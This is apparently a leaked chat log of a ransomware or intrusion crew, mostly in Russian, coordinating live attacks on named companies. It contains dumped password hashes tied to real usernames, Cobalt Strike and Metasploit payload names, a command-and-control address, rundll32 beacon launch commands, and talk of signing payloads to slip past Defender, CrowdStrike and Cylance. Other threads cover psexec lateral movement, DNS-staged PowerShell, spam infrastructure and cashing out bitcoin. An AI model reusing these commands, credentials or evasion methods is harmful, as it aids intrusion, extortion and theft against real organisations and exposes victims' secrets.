nu ne palitsya zhe sidit tam )

nu da tak idelay

prosto mozhet ne zapustitsya

сек

tak ak tam msiexec.exe uzhe zapusheni

no ti probuy

sperva tak

potom esli ne stuknet mi udalim procesi ,, no dolzhno bit' ok

* tak kak tam msiexec.exe uzhe zapusheni

запустил от системы

от системы появились msiexec

est'

CHS1RDSPOWS17_SYSTEM_5DEEAC15

dat' dostup ot nego ?

пока нет

ok

c:\Users\Public\Music\NanoLogic.exe

тут лежит если что

udalilsya file ?

dolzhno bilo udalitsya

da

+

15e32126f599a2fe148cdd10dc49cfa9

kekhash.txt

na meste ?

GG skoro pridyot ?

> <@cameron777:matrix.org> GG skoro pridyot ?

+

ну да, нужен номер телефона, что на него смс получить

давно который был у нас

только я им пытался на других тачках поднятся - борода была

traff lilsya i installi ne shli

no shas uzhe zalilos poka rozbirayus v chem delo

g_cl.exe

vrode vse ok

новый ничего и нигде не отработал

нет новых в этой сетке

нет отработало ничего

кроме этого

и криптованный подписанный файл был

привет. помоги поменять битки на нал? пока друг в мск. на выходных привезет

12кк

я поднялся на FLYT сетке. там только 12 сервера были. то что ты купил на днял там не сработало. новый одэй от 2019 серва работает. вчера была сетка на 19 серве - не отработало

* я поднялся на FLYT сетке. там только 12 сервера были. то что ты купил на днях там не сработало. новый одэй от 2019 серва работает. вчера была сетка на 19 серве - не отработало

```

$DCC2$10240#mdouglas#92a12c3673d9d1be25a4a323cea48e4c:EmmaLogan

++

`ctxadmin:1010:aad3b435b51404eeaad3b435b51404ee:8eb0957bbd85241eb2e3b6b7c918f116`

будет минута напиши по нагрузке расклад

да

щас там NN rjdshznmcz yfxytn

можешь спросить что такое dmp.exe?

* щас там NN ковырять будлет

я в больничку поеду

есть локальный админ на 60 тачках

крутить ее надо еще

на 6 закрепился

и еще у этого типа одна тачка закреплена

не стал больше у него крипить, мало ли спалится у него файл и пиздец настанет

все, ушел

+

отправил

+

chisti? 1 opd svoi nuzhni ili pod installi itd tozhe uzaete?

* chisti? 1 pod svoi nuzhni ili pod installi itd tozhe uzaete?

еще раз отправил код

https://github.com/MaorSabag/TrueSightKiller

ya napishu

аа

ок

лучше да, постоянный

cegth

супер

да. конечно

спасибо!

nu bivaet u vsex)

понял

good

нет, надо билдить на маке

ладно, потом тогда сделаю, тогда хотябы нагрузка еще будет

так то один акк есть, рекламная компания стоит на паузе

запустил еще тут перечекивать домены mx записи, так как многие домены даже не работают уже или перезали на более сложные фильтры

но бывает, что и с атулка перезжают на более слабый фильтр

откуда я знаю)

но редко, больше тех кто на аутлук переходит

но я просто большу хочу еще поубирать отфильтровать тех, у кого уже домен не работает

не мало таких

кстати

помните же metro.de

вот у них помню была своя mx запись

потом они перехали на аутлук

а вот сейчас в логах заметил случайно

что они убрали аутлук mx запись

это мы их когда пытались лочить вроде

++

+

https://github.com/gentilkiwi/mimikatz это? не вижу там ничего похожего

> <@cameron777:matrix.org> NALS-CTX1_bterry_5EA0B94D

```

минуту

> <@cameron777:matrix.org> online

https://t.me/Adan_Connet

через тим вивиер ?

есть

ку

куда?

ну мы вместе ушли

я нашел админа на 244 тачках серверных

тут настроена нормально сетка

exchange сервера тут не имеют привилегий над доменом

АВ нет не лютый

обычно exchange сервера имеют привилегии над доменом ну везде так обычно

> <@usernamegg:matrix.bestflowers247.online> а где нашел ?

щас на sql и app тачки пойду там могут быть какие то креды хорошие

обычно на sql и app тачках креды хорошие попадаются

из 244 доступов есть sql и app тачки по пару штук думаю мб что будет хз

я помню эту сетку мы ебались тогда пытались поднятся до утра сидели нихуя в итоге

а тут поднялся он в правах, хотя в прошлый раз нихуя не получалось

тут

может быть из за того что подписали exe я хуй знает

тут

все хорошо

> <@usernamegg:matrix.bestflowers247.online> ехе подписали сертом и поднялся ?

> <@usernamegg:matrix.bestflowers247.online> там хороший закреп у чела

> <@usernamegg:matrix.bestflowers247.online> как камень с души

но то что носок поднимается это палево конечно нон стоп коннект считай висит или я хуй знает как у него сделано

592 сервера там

3.4

ок

все

я же с серверов снимал, не с юзерского

не через впн

щас

стучат наверно)

кишку набивают

как обычно)))

это БАЗА

отправил. но что-то не вижу в исходящих

появилось

https://www.blockchain.com/explorer/search/?search=6f658d986b49d478797ab4ff1d9853cd80aeeba3ee79ce1aae8b0048aa9ca1db

зову

> <@cameron777:matrix.org> CHS1RDSPOWS17_ds12130_5DEEAC15

> <@usernamegg:matrix.bestflowers247.online> тебе дали сплойт ? ты пробовал подняться на нем ?

я тут подумал

пока ездиль

CHS1RDSPSHS08_491218_5D9650E8

etot online

этот сплоит палится

иногда на дефе там удаляет на подлете

system tot dazhe offnulsya

stranno

может не стоит ему его давать, чтоб его софт не спалить

система то да, нужен юзер именно

погоди, что? юзера нет на тачке. сама тачка онлайн

nu IP odin vrode dolzhno bilo bit' tot zhe server

nu ot system chto bilo ego online netu

CHS1RDSPOWS17_SYSTEM_5DEEAC15

eto system

там тачка вне домена стала. сидим ждем юзера чтоб проверить один момент

`srousseau::SIDLEE:1122334455667788:24371a2bf95bd80eb3de7f29bd0b24ed:0101000000000000f34037d59e23da015829429fa590ab3a0000000008003000300000000000000000000000002000008f69f75ac5ef12da627fbf4165ffdabf64d8a9ee80aeeb4f6cc3bc3b12e045990a00100000000000000000000000000000000000090020005300490044004c00450045005c00730072006f007500730073006500610075000000000000000000`

```

matrix.bestflowers247.online

бро в общем пиши что надо сделать и с кем связаться , разберусь с внц.

otrubili ego ?

gg

> <@cameron777:matrix.org> otrubili ego ?

аа

)))

лол

о норм

у него получилось сделать их стабильными?

без отвалов

аа

можно по IP через censys собрать инфу какой там домен и узнать по сути какая контора заранее

можете еще сделать номер телефона? я хочу сделать бизнес акк на аутлуке, что посмотреть как туда инбокст

* можете еще сделать номер телефона? я хочу сделать бизнес акк на аутлуке, что посмотреть как туда инбоксит

ok, жду

+

ага не наше

отправил

не пришел код?

ща подругому ввел номер телефона

может прищет

* может придет

+

http://temp.sh/DgJED/GLUEK_tree.txt.zip

extract pwd : ebB9X8j0qmN6waa6gr4C

ок

```

+

короч чет не приходят смска, наверное завтра уже займусь созданием бизнес акка аутлуковского

IMAP3011.txt

тут пассов нет

десятку нужно будет поставить

что бы ставить клиент ебаный

на сервер же он не ставится тогда еще выяснили

там автоматизировать процесс нужно то как то установки впн

или в ручную он хуярить будет?

но по сути можно все заранее конторы пробить

и в ручную ставить только на тех которые интересны нам

ну заебись что он разобрался

ок

скажу куда подьехать я передам ему

или где ждать

сейчас за телегу узнаю

* скажи куда подьехать я передам ему

ок ща

ok

goodformorale

сбросит? а то отойти хочу

да, но видимо в пн уже прошлем, если мелкор почистит все

100% нет)

> <@usernamess:matrix.bestflowers247.online> 100% нет)

смотря что там по ав

от кобы файл был подписан

g_cl.exe

где то вообще принтнайтмар работает

где то glc

где то просто project1.exe

м

> <@usernamegg:matrix.bestflowers247.online> настройка такая сети видимо

завтра постараюсь поднять бизнес акк на атлуке. сейчас перепробывал 5 номеров телефона, не приходит смска. и юсовской номер пробывал. странно. завтра продолжу пробывать

офнусь. через пару часов еще приду, заберу файл

до завтра в общем

инфу передал

У них инет рипнулся

щас мутки мутят

```

есть идеи как это юзать ?

image.png

ебать щас сетка прикольная))

так ты сканил на поиск уязвимостей?

SS уже накидал?

да сетка ебать та большая которая ебать настроенная

поставил сканы короче esx

хуй что выдало

а еще прикол в сетке такой что ДЦ не пингуются хотя они онлайн

ну пинг не работает

я такой говорю SS что бы он у YY спросил как происходит скан ESX прям точно

сначала пинг, а потом проверка web панели или как

сказал да сначала пинг если хост онлайн то чекает панель

сказал что бы переписывали софт

SS ему все передал

он дописал софт что бы сразу проверяло без пинга

и все определило сразу

вот приколы ебать

тут больше не то , что уязвимости

`nmap -v -A -sV 192.168.0.0/24`

`Scan in verbose mode (-v), enable OS detection, version detection, script scanning, and traceroute (-A), with version detection (-sV)`

если про сервис вопрос то map не знает что это такое, не более того. надо сканить на уязвимые сервисы, версии

```

выдача пришла, вот читаю че за

p0 это vpn ?

transwestern.net

image.png

United States https://68.74.115.50:443 jpost vM476KU_y3Q' no ssh ---CR--RA--J-!!!!!++++

-p0- это скан всех возможных портов. по дефолту он топ порты сканит. а тут принудительно все порты подставляет и медленнее получается, но верно. принтер какой нить на ебанутом порте и пошло поехало

> <@usernamegg:matrix.bestflowers247.online> просто определял без пинга а потом лучше руками проверить у же на тачке в сети грузит или не грузит этот esxi ?

понял

будет чекать без пинга, SS там с YY допиливали его

я просто словил мысль что у нас не определяло ESX из за того что софт сначала пинговал хосты, а потом только чекал

это не ошибка софта, это сетка такая

спросишь потом у SS он расскажет

приколы какие в сетке))

с этой ебалой реально сделать что-то вообще ?

SF-Port23-TCP:V=7.94%I=7%D=11/30%Time=6568E7D2%P=x86_64-pc-linux-gnu%r(NUL

* ```

> <@usernamevv:matrix.bestflowers247.online> с этой ебалой реально сделать что-то вообще ?

GG: 95.213.164.12

жаль

спс

ты из инета сканишь?

88 порт открыт

nono

в сети

или ты в сетке сканишь

а цель какая

что привело тебя прибегнуть к скану

не понял просто ход мысли

движений 0?

хочешь уебать через веб?

впн доступ, кред доменных нет, всего 4 компа вижу с 445 портом, а по скану нмап больше тачек есть по факту

и дц видно

ту залупу что тебе выдало это telnet

и он судя по всему открытый

GG: я же сказал что у них нет инета

Ок

> <@usernamenn:matrix.bestflowers247.online> ту залупу что тебе выдало это telnet

VV: Там тебе надо начало из GOAD применить. ты из впн может только видишь часть диапазонов. попробовать получить без авторизации список юзеров и, если получишь попробовать побрутить с учетом того что 5 попыток только

там даже 98 была винда

интеренета небыло у нас у всех, сейчас восстановился вроде. деньги на балансе есть

> <@usernamegg:matrix.bestflowers247.online> 20 минут ничего не решили ?

image.png

image.png

я тут

> <@usernamess:matrix.bestflowers247.online> VV: Там тебе надо начало из GOAD применить. ты из впн может только видишь часть диапазонов. попробовать получить без авторизации список юзеров и, если получишь попробовать побрутить с учетом того что 5 попыток только

image.png

```

делаю трее

тт перетыкался уже тут в сети

> <@usernamevv:matrix.bestflowers247.online> напоминает винду XP , раньше через телнет связывались с модема на модем )))

жоско, ну я не юзал его лет 20

Привет, как ты?

++

Я с завтра уже постораюсь входить в режим, температура еще чутка есть, но уже не могу не работать, не могу уже лежать постоянно...

Нихера не делать - адские муки...

```

kekhash.txt

тут?

скинул выше трее.. а помоему их уже публиковали этих ребят помню. с ними хотели продажу даты замутить

та херово до сих пор, но завтра уже планирую в строю быть

еще все болит, но джумаю, что уже пора, ибо не могу без дела сидеть

ты как?

именно msix?

ага, понял, кароче пока со спамом тормзимся, я по сути буду готовить тогда пику с завтрашнего дня к приему для трафа

и буду чисто трафом потом заниматься, правильно понял?

ну да, и со спама по сути еще даже толком ничего не заплатило же

кстати, та игровая контора тоже не заплатила?

https://www.zoominfo.com/c/inspired-entertainment-inc/351103171

вот эта вроде

O1N520803::FLYT:59829c41970594bd2b246c6e3102917e8c751c8519b133f2:59829c41970594bd2b246c6e3102917e8c751c8519b133f2:1122334455667788

что-то с панелью

висит \

все ок

отвисла

Плиз чекни все наши даблы

у нас щас у всех одновременно он переподлючился. может там оплата или еще что

4

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> sent a file.

отлично

спасибо большое! выручил!

ок, там

жду ребусы)

CHS1RDSPOWS17_SYSTEM_5DEEAC15

lf

dct uhe;e

все гружу

в кобу не идет

CHS1RDSPOWS17_SYSTEM_5DEEAC15

в мету через раз

само собой

вначале в мету

FLYT

если в кобу то в 32

ok)

segodnya ves den' u menya ushlo na etot traff...

> COBA://45.77.86.37:48594

24 cob

xotya link v vidache viden vezde

++

сек

DE_2_MSF8080_64_thread.bin

скинул бинарник 64 от меты де 2

давай туда тоже попробуем?

порт 8080

> <@usernamegg:matrix.bestflowers247.online> скажи мне я попробую позвать в другую мету

сейчас скину

```

все четко, забрал. еще раз спасибо!!!

стоп

пришла

frameworks.net

эта тоже

++

++

> <@usernameww:matrix.bestflowers247.online> sent a file.

nu banki nekotorie poka ne zaxodyat tot CIBC tam voobshe nado vse pilit' po drugomu

++

bez copy pasta tam, bez ineta vse cherez dns i powershell nado delat'

nu kredi vse vnutrennie est' u menya dazhe system prava

* nu kredi vse vnutrennie est' u menya dazhe system s pravami

image.png

image.png

image.png

da no kak

нашли отличия?

в NetExec диапазоны можно прописывать последовательно

pridaumal)

* pridumal)

mozhno v dnse vse skripti xranit'

i skleit'

powershella

chtob rukami ne vvodit' vse

no payload tozhe nado tak

gruzit'

nu ya voobshe ,, skleyka powershelal po dns sperva nado razrabotat' i skinut' v dns potom skachat' ottuda rukami vbivaya kod

potom skleit' i robotat'

da no eto kak skinut' tuda v etom delo

znayu chto est'

nado po ndsu skinut'

* nado po dnsu skinut'

https://github.com/Pennyw0rth/NetExec/releases/download/v1.1.0/nxc.exe

shas posmotryu po targetam segodnya ves den' propal na etom traffe

VPN чекать, софт перфект как будто наебывает что ли или что понять не смог таки

++

уже нечего все перепозвали что было

подписали

++

++

как разберемся отпишусь

ага понял, отпишусь по крипту

протестил

приходит

все ок

правильно значит скомпилил

так я уже)

смотрю

конечно)

> <@usernamegg:matrix.bestflowers247.online> ```

меня выбило

нет

он не зашел

я уже авторизовался там пока ты ему писал

и он решил меня не выбивать

ок

ТТ берет

> <@usernamess:matrix.bestflowers247.online> меня выбило

там заббикс и силанс

первое что увидел

вышел уже

> <@usernamevv:matrix.bestflowers247.online> там заббикс и силанс

Силанс так то среднячковый АВ

))

ну мы вчера с ним ставили

длл криптованный обошел

я не знаю как так получается, но у меня как то был таргет

где был везде силанс

и там 1 крипт уникальный - 1 запуск

потом на других тачках его просто рубило

у вас видимо был силанс курильщика, либо они совсем распаскудились

хз, приходило в кобу, местами резало биконы

остались те, что без него

я в такое верить отказываюсь, но я так понял это факт, что ж я снимаю шляпу

jump psexec как учили )

🍿

> <@usernamevv:matrix.bestflowers247.online> jump psexec как учили )

🙄

я в ахуе, ну он там порезанный какой то был наверняка уровня докторвеба

psexec_psh

мб, но приходило

ну от случая к случаю

локальный админ на exchange тачке?

а функциональный уровень домена интересно какой если локальный админ на exchange )

> <@usernamegg:matrix.bestflowers247.online> https://www.zoominfo.com/c/frigorifico-de-aves-soychu-saicfia/429803109 - акашево )

Птичников ставить значит)))

ухахах

оставить им помёт в виде записок Readme

ne mogu probit'

Screenshot 2023-11-30 120720.png

tam po kapitalam chto to seryoznoe i oni ne kitayci

bloomberg terminal dazhe ustanovlen

NALS-CTX1_bterry_5EA0B94D

> <@cameron777:matrix.org> NALS-CTX1_bterry_5EA0B94D

RPO-WK-HBER2_hberisha_65493A3C

> <@cameron777:matrix.org> NALS-CTX1_bterry_5EA0B94D

а где они?

спс

vishel..

пока нет

немогу разблокировать его рабочий стол

image.png

смог

https://www.bloomberg.com/profile/company/3837852Z:US

oni

direktori kompanii

да да, я разобрался

да

тут тренд микро

сейчас буду файлы грузить

да, сейчас его и гружу

пока нет

++

позвал

y menya est sidlee.inc

130M

s ve4era delau

pitaus

)

https://github.com/openconnect/openconnect-gui/releases

> <@usernameww:matrix.bestflowers247.online> sent a file.

> <@cameron777:matrix.org> RPO-WK-HBER2_hberisha_65493A3C

ок

может

тут только начал апдейт вносить) щас соберу обратно

```

спасибо!

в душе молодой

🤜🤛

> <@usernamegg:matrix.bestflowers247.online> ______

> <@cameron777:matrix.org> RPO-WK-HBER2_hberisha_65493A3C

я тогда

пока у нас там думать что делоать

* пока у нас там думать что делать

где-то ошибка

щас ищу

не вовремя както

`$DCC2$10240#Administrator#68ffb0825f87321df8774904bb25d608`

> <@cameron777:matrix.org> RPO-WK-HBER2_hberisha_65493A3C

payload_x86_cob25.ex

шелл пока что только

подписал

> <@usernamess:matrix.bestflowers247.online> там деф выебал) ушел в офф

> <@usernamess:matrix.bestflowers247.online> там деф выебал) ушел в офф

так сожрал его EV

там деф

и виндав 11

payload_x86_cob25.dll

rundll32.exe dll.dll,StartW

```

другой стаб может быть хуже чем предыдущий

эта сеть 18 серверов

tam i crowd vrode bil

621_pc

Screenshot 2023-11-30 135925.png

chto eto ?

u nix eto

esxi ili chto ?

++

))

збс)

da poxozhe dazhe ubili bota tam ..

> <@usernamezz:matrix.bestflowers247.online> збс)

> <@cameron777:matrix.org> da poxozhe dazhe ubili bota tam ..

> <@usernamess:matrix.bestflowers247.online> там деф выебал) ушел в офф

no posle restarta vozmozhno vernyotsya

он пришел и потом снова щас ушел

я его не звал, он застучал

ну пожалуйста)

> <@cameron777:matrix.org> sent an image.

делать?

там 1 движение

\+

est' chistaya koba po DNS-u?

tam crowd stoit

moy bot ne stuchit

no zapustilsya

у нас кто то есть кто в powershell шарит немного?

tut malenki rev po xodu

smotryu drugie

у меня в скрипте который запускаю из памяти

есть указание куда положить результат

$resultsPath = $PSScriptRoot + "\Results

не кладет после окончания работы хотя написано типа заберите результаты в Results

я подменял скрипт

сделал так

$resultsPath = "C:\Users\Public\Results

правильно ли я сделал вот вопрос

вроде правильно но нужно экспертное мнение)

Хорошо ну я курсану если все я верно сделал

resultsPath это alias

да все норм

не нужно я все четко сделал))

в питоновских скриптах разобрался, осталось в powershell чуточку разобраться )))

tam vrode ne odin i kucha varok

mozhem probnut'

> <@usernamegg:matrix.bestflowers247.online> давай сделаем сейчас dns x86 dll exe крипт и подпишем ev сертом ?

a tam dll ne robotaet

exe

tolko

cmd powershel lne zapuskayutsya

* cmd powershell ne zapuskayutsya

пиздец на меня жути нагнали что я в общем написал лишнего

пришлось удалить

я аж вспотел нахуй реально не пизжю

не я погуглил глянул инструкции или как там

да бля ChatGPT у меня как обычно хуй пойми где пароль

а так да я думал за ChatGPT, но в лом было искать креды

kakoy to holding

da vrode

неактуально!

nu strusti pokazhut no kak ta mrobotat' esli nechego ne puskaet delat'

no exe zapuskaetsya

бро. ну крашит же оригинал))

ну за что

beacon_x86 ехе и длл

adminskie dostupi nashel tam

login remote.pbgholdings.com

putty zapustilos tam

> <@cameron777:matrix.org> RPO-WK-HBER2_hberisha_65493A3C

artifact_x86.zip

rundll32.exe dll.dll,StartW

ya shas naydu)

так

тачка ребуталась

мне подождать пока ты там дела сделаешь или можно звать? она от инж сдохла)

GLOBAL_kekhash.txt